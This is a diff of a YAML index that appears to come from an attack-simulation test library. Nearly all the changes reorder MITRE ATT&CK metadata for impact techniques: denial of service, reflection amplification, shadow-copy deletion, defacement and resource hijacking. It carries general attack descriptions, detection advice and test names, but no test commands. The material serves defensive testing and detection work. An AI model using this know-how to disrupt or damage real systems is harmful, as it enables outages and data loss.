         Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of <code>HKEY_CURRENT_USER\Software\Policies\Microsoft\PreviousVersions\DisableLocalPage</code>).
-      x_mitre_impact_type:
-      - Availability
-      x_mitre_contributors:
-      - Yonatan Gotlib, Deep Instinct
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1490
+        external_id: T1490
+        source_name: mitre-attack
+      - url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
+        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
+          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
+        source_name: Talos Olympic Destroyer 2018
+      - url: https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html
+        description: Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry
+          Malware Profile. Retrieved March 15, 2019.
+        source_name: FireEye WannaCry 2017
       identifier: T1490
     atomic_tests:
     - name: Windows - Delete Volume Shadow Copies
@@ -54097,23 +55622,24 @@ impact:
         elevation_required: true
   T1491.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1491.001
-        url: https://attack.mitre.org/techniques/T1491/001
-      - source_name: Novetta Blockbuster
-        description: 'Novetta Threat Research Group. (2016, February 24). Operation
-          Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February
-          25, 2016.'
-        url: https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
-      - source_name: Novetta Blockbuster Destructive Malware
-        description: 'Novetta Threat Research Group. (2016, February 24). Operation
-          Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.'
-        url: https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Internal Defacement
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      - 'File: File Creation'
+      - 'Application Log: Application Log Content'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      modified: '2020-03-29T22:57:04.784Z'
+      created: '2020-02-20T14:31:34.778Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103
       description: 'An adversary may deface systems internal to an organization in
         an attempt to intimidate or mislead users. This may take the form of modifications
         to internal websites, or directly to user systems with the replacement of
@@ -54123,15 +55649,9 @@ impact:
         messages. Since internally defacing systems exposes an adversary''s presence,
         it often takes place after other intrusion goals have been accomplished.(Citation:
         Novetta Blockbuster Destructive Malware)'
-      id: attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: impact
-      modified: '2020-03-29T22:57:04.784Z'
-      created: '2020-02-20T14:31:34.778Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_impact_type:
       - Integrity
       x_mitre_detection: Monitor internal and websites for unplanned content changes.
@@ -54139,15 +55659,20 @@ impact:
         or successful exploitation. Use deep packet inspection to look for artifacts
         of common exploit traffic, such as SQL injection. Web Application Firewalls
         may detect improper inputs attempting exploitation.
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      - 'File: File Creation'
-      - 'Application Log: Application Log Content'
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1491/001
+        external_id: T1491.001
+        source_name: mitre-attack
+      - url: https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
+        description: 'Novetta Threat Research Group. (2016, February 24). Operation
+          Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February
+          25, 2016.'
+        source_name: Novetta Blockbuster
+      - url: https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
+        description: 'Novetta Threat Research Group. (2016, February 24). Operation
+          Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.'
+        source_name: Novetta Blockbuster Destructive Malware
       identifier: T1491.001
     atomic_tests:
     - name: Replace Desktop Wallpaper
@@ -54199,32 +55724,29 @@ impact:
         name: powershell
   T1498:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1498
-        url: https://attack.mitre.org/techniques/T1498
-      - source_name: FireEye OpPoisonedHandover February 2016
-        url: https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html
-        description: 'Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November
-          3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in
-          Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.'
-      - source_name: FSISAC FraudNetDoS September 2012
-        url: https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf
-        description: FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals
-          Targeting Financial Institution Employee Credentials to Conduct Wire Transfer
-          Fraud. Retrieved April 18, 2019.
-      - source_name: Symantec DDoS October 2014
-        url: https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf
-        description: Wueest, C.. (2014, October 21). The continued rise of DDoS attacks.
-          Retrieved April 24, 2019.
-      - source_name: Cisco DoSdetectNetflow
-        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
-        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
-          Retrieved April 25, 2019.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2021-04-12T18:34:06.995Z'
       name: Network Denial of Service
+      x_mitre_data_sources:
+      - 'Sensor Health: Host Status'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.1'
+      created: '2019-04-17T20:23:15.105Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: impact
+      x_mitre_platforms:
+      - Windows
+      - Azure AD
+      - Office 365
+      - SaaS
+      - IaaS
+      - Linux
+      - macOS
+      - Google Workspace
+      - Containers
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab
       description: |-
         Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)
 
@@ -54235,17 +55757,13 @@ impact:
         Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.
 
         For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).
-      id: attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: impact
-      modified: '2021-04-12T18:34:06.995Z'
-      created: '2019-04-17T20:23:15.105Z'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       x_mitre_contributors:
       - Yossi Weizman, Azure Defender Research Team
       - Vishwas Manral, McAfee
-      x_mitre_is_subtechnique: false
+      x_mitre_impact_type:
+      - Availability
       x_mitre_detection: 'Detection of Network DoS can sometimes be achieved before
         the traffic volume is sufficient to cause impact to the availability of the
         service, but such response time typically requires very aggressive monitoring
@@ -54258,72 +55776,58 @@ impact:
         may be small and the indicator of an event availability of the network or
         service drops. The analysis tools mentioned can then be used to determine
         the type of DoS causing the outage and help with remediation.'
-      x_mitre_data_sources:
-      - 'Sensor Health: Host Status'
-      - 'Network Traffic: Network Traffic Flow'
-      x_mitre_version: '1.1'
-      x_mitre_impact_type:
-      - Availability
-      x_mitre_platforms:
-      - Windows
-      - Azure AD
-      - Office 365
-      - SaaS
-      - IaaS
-      - Linux
-      - macOS
-      - Google Workspace
-      - Containers
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1498
+        external_id: T1498
+        source_name: mitre-attack
+      - url: https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html
+        description: 'Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November
+          3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in
+          Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.'
+        source_name: FireEye OpPoisonedHandover February 2016
+      - url: https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf
+        description: FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals
+          Targeting Financial Institution Employee Credentials to Conduct Wire Transfer
+          Fraud. Retrieved April 18, 2019.
+        source_name: FSISAC FraudNetDoS September 2012
+      - url: https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf
+        description: Wueest, C.. (2014, October 21). The continued rise of DDoS attacks.
+          Retrieved April 24, 2019.
+        source_name: Symantec DDoS October 2014
+      - url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
+        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
+          Retrieved April 25, 2019.
+        source_name: Cisco DoSdetectNetflow
     atomic_tests: []
   T1499.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1499.001
-        url: https://attack.mitre.org/techniques/T1499/001
-      - external_id: CAPEC-469
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/469.html
-      - external_id: CAPEC-482
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/482.html
-      - source_name: Arbor AnnualDoSreport Jan 2018
-        url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
-        description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill
-          Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight
-          into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide
-          Infrastructure Security Report. Retrieved April 22, 2019.
-      - source_name: Cloudflare SynFlood
-        url: https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/
-        description: Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April
-          22, 2019.
-      - source_name: Corero SYN-ACKflood
-        url: https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html
-        description: Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April
-          22, 2019.
-      - source_name: Cisco DoSdetectNetflow
-        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
-        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
-          Retrieved April 25, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: OS Exhaustion Flood
+      x_mitre_data_sources:
+      - 'Sensor Health: Host Status'
+      - 'Network Traffic: Network Traffic Content'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.1'
+      modified: '2020-09-16T15:54:35.429Z'
+      created: '2020-02-20T15:27:18.581Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7
       description: |-
         Adversaries may target the operating system (OS) for a DoS attack, since the (OS) is responsible for managing the finite resources on a system. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity.
 
         Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)
 
         ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)
-      id: attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: impact
-      modified: '2020-09-16T15:54:35.429Z'
-      created: '2020-02-20T15:27:18.581Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
       x_mitre_impact_type:
       - Availability
       x_mitre_detection: 'Detection of Endpoint DoS can sometimes be achieved before
@@ -54334,68 +55838,68 @@ impact:
         utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative
         study of the network traffic can identify a sudden surge in one type of protocol
         can be used to detect an attack as it starts.'
-      x_mitre_data_sources:
-      - 'Sensor Health: Host Status'
-      - 'Network Traffic: Network Traffic Content'
-      - 'Network Traffic: Network Traffic Flow'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-    atomic_tests: []
-  T1498.002:
-    technique:
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       external_references:
-      - source_name: mitre-attack
-        external_id: T1498.002
-        url: https://attack.mitre.org/techniques/T1498/002
-      - external_id: CAPEC-490
+      - url: https://attack.mitre.org/techniques/T1499/001
+        external_id: T1499.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/469.html
+        external_id: CAPEC-469
         source_name: capec
-        url: https://capec.mitre.org/data/definitions/490.html
-      - source_name: Cloudflare ReflectionDoS May 2017
-        url: https://blog.cloudflare.com/reflections-on-reflections/
-        description: Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection
-          (attacks). Retrieved April 23, 2019.
-      - source_name: Cloudflare DNSamplficationDoS
-        url: https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/
-        description: Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved
-          April 23, 2019.
-      - source_name: Cloudflare NTPamplifciationDoS
-        url: https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/
-        description: Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved
-          April 23, 2019.
-      - source_name: Arbor AnnualDoSreport Jan 2018
-        url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
+      - url: https://capec.mitre.org/data/definitions/482.html
+        external_id: CAPEC-482
+        source_name: capec
+      - url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
         description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill
           Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight
           into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide
           Infrastructure Security Report. Retrieved April 22, 2019.
-      - source_name: Cloudflare Memcrashed Feb 2018
-        url: https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/
-        description: Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed
-          - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.
-      - source_name: Cisco DoSdetectNetflow
-        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
+        source_name: Arbor AnnualDoSreport Jan 2018
+      - url: https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/
+        description: Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April
+          22, 2019.
+        source_name: Cloudflare SynFlood
+      - url: https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html
+        description: Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April
+          22, 2019.
+        source_name: Corero SYN-ACKflood
+      - url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
         description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
           Retrieved April 25, 2019.
+        source_name: Cisco DoSdetectNetflow
+    atomic_tests: []
+  T1498.002:
+    technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Reflection Amplification
+      x_mitre_data_sources:
+      - 'Sensor Health: Host Status'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.2'
+      modified: '2021-03-29T16:13:53.747Z'
+      created: '2020-03-02T20:08:03.691Z'
+      x_mitre_platforms:
+      - Windows
+      - Azure AD
+      - Office 365
+      - SaaS
+      - IaaS
+      - Linux
+      - macOS
+      - Google Workspace
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01
       description: |-
         Adversaries may attempt to cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017)
 
         Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018)  In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)
-      id: attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: impact
-      modified: '2021-03-29T16:13:53.747Z'
-      created: '2020-03-02T20:08:03.691Z'
-      x_mitre_data_sources:
-      - 'Sensor Health: Host Status'
-      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_impact_type:
+      - Availability
       x_mitre_detection: 'Detection of reflection amplification can sometimes be achieved
         before the traffic volume is sufficient to cause impact to the availability
         of the service, but such response time typically requires very aggressive
@@ -54408,22 +55912,68 @@ impact:
         the lead time may be small and the indicator of an event availability of the
         network or service drops. The analysis tools mentioned can then be used to
         determine the type of DoS causing the outage and help with remediation.'
-      x_mitre_version: '1.2'
-      x_mitre_is_subtechnique: true
-      x_mitre_impact_type:
-      - Availability
-      x_mitre_platforms:
-      - Windows
-      - Azure AD
-      - Office 365
-      - SaaS
-      - IaaS
-      - Linux
-      - macOS
-      - Google Workspace
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1498/002
+        external_id: T1498.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/490.html
+        external_id: CAPEC-490
+        source_name: capec
+      - url: https://blog.cloudflare.com/reflections-on-reflections/
+        description: Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection
+          (attacks). Retrieved April 23, 2019.
+        source_name: Cloudflare ReflectionDoS May 2017
+      - url: https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/
+        description: Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved
+          April 23, 2019.
+        source_name: Cloudflare DNSamplficationDoS
+      - url: https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/
+        description: Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved
+          April 23, 2019.
+        source_name: Cloudflare NTPamplifciationDoS
+      - url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
+        description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill
+          Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight
+          into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide
+          Infrastructure Security Report. Retrieved April 22, 2019.
+        source_name: Arbor AnnualDoSreport Jan 2018
+      - url: https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/
+        description: Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed
+          - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.
+        source_name: Cloudflare Memcrashed Feb 2018
+      - url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
+        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
+          Retrieved April 25, 2019.
+        source_name: Cisco DoSdetectNetflow
     atomic_tests: []
   T1496:
     technique:
+      type: attack-pattern
+      modified: '2021-04-14T12:06:32.187Z'
+      name: Resource Hijacking
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'File: File Creation'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Sensor Health: Host Status'
+      x_mitre_version: '1.2'
+      created: '2019-04-17T14:50:05.682Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: impact
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      - IaaS
+      - Linux
+      - macOS
+      - Containers
+      x_mitre_is_subtechnique: false
       id: attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783
       description: "Adversaries may leverage the resources of co-opted systems in
         order to solve resource intensive problems which may impact system and/or
@@ -54441,40 +55991,8 @@ impact:
         Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining
         malware kills off processes for competing malware to ensure it’s not competing
         for resources.(Citation: Trend Micro War of Crypto Miners)"
-      name: Resource Hijacking
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1496
-        url: https://attack.mitre.org/techniques/T1496
-      - description: GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April
-          17, 2019.
-        url: https://securelist.com/lazarus-under-the-hood/77908/
-        source_name: Kaspersky Lazarus Under The Hood Blog 2017
-      - description: CloudSploit. (2019, June 8). The Danger of Unused AWS Regions.
-          Retrieved October 8, 2019.
-        url: https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc
-        source_name: CloudSploit - Unused AWS Regions
-      - source_name: Unit 42 Hildegard Malware
-        url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
-        description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking
-          Malware Targeting Kubernetes. Retrieved April 5, 2021.'
-      - source_name: Trend Micro Exposed Docker APIs
-        url: https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html
-        description: Oliveira, A. (2019, May 30). Infected Containers Target Docker
-          via Exposed APIs. Retrieved April 6, 2021.
-      - source_name: Trend Micro War of Crypto Miners
-        url: https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html
-        description: 'Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency
-          Miners: A Battle for Resources. Retrieved April 6, 2021.'
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: impact
-      modified: '2021-04-14T12:06:32.187Z'
-      created: '2019-04-17T14:50:05.682Z'
       x_mitre_contributors:
       - David Fiser, @anu4is, Trend Micro
       - Alfredo Oliveira, Trend Micro
@@ -54482,32 +56000,39 @@ impact:
       - Magno Logan, @magnologan, Trend Micro
       - Vishwas Manral, McAfee
       - Yossi Weizman, Azure Defender Research Team
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      - IaaS
-      - Linux
-      - macOS
-      - Containers
-      x_mitre_permissions_required:
-      - User
-      - Administrator
       x_mitre_impact_type:
       - Availability
-      x_mitre_version: '1.2'
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'File: File Creation'
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Sensor Health: Host Status'
       x_mitre_detection: Consider monitoring process resource usage to determine anomalous
         activity associated with malicious hijacking of computer resources such as
         CPU, memory, and graphics processing resources. Monitor for suspicious use
         of network resources associated with cryptocurrency mining software. Monitor
         for common cryptomining software process names and files on local systems
         that may indicate compromise and resource usage.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1496
+        external_id: T1496
+        source_name: mitre-attack
+      - source_name: Kaspersky Lazarus Under The Hood Blog 2017
+        description: GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April
+          17, 2019.
+        url: https://securelist.com/lazarus-under-the-hood/77908/
+      - source_name: CloudSploit - Unused AWS Regions
+        description: CloudSploit. (2019, June 8). The Danger of Unused AWS Regions.
+          Retrieved October 8, 2019.
+        url: https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc
+      - url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
+        description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking
+          Malware Targeting Kubernetes. Retrieved April 5, 2021.'
+        source_name: Unit 42 Hildegard Malware
+      - url: https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html
+        description: Oliveira, A. (2019, May 30). Infected Containers Target Docker
+          via Exposed APIs. Retrieved April 6, 2021.
+        source_name: Trend Micro Exposed Docker APIs
+      - url: https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html
+        description: 'Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency
+          Miners: A Battle for Resources. Retrieved April 6, 2021.'
+        source_name: Trend Micro War of Crypto Miners
       identifier: T1496
     atomic_tests:
     - name: macOS/Linux - Simulate CPU Load with Yes
@@ -54525,120 +56050,69 @@ impact:
         name: bash
   T1565.003:
     technique:
-      created: '2020-03-02T14:30:05.252Z'
-      modified: '2020-03-28T23:10:34.359Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: impact
       type: attack-pattern
-      id: attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490
-      description: |-
-        Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
-
-        Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
+      modified: '2020-03-28T23:10:34.359Z'
       name: Runtime Data Manipulation
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1565.003
-        url: https://attack.mitre.org/techniques/T1565/003
-      - description: 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved
-          November 6, 2018.'
-        url: https://content.fireeye.com/apt/rpt-apt38
-        source_name: FireEye APT38 Oct 2018
-      - source_name: DOJ Lazarus Sony 2018
-        url: https://www.justice.gov/opa/press-release/file/1092091/download
-        description: Department of Justice. (2018, September 6). Criminal Complaint
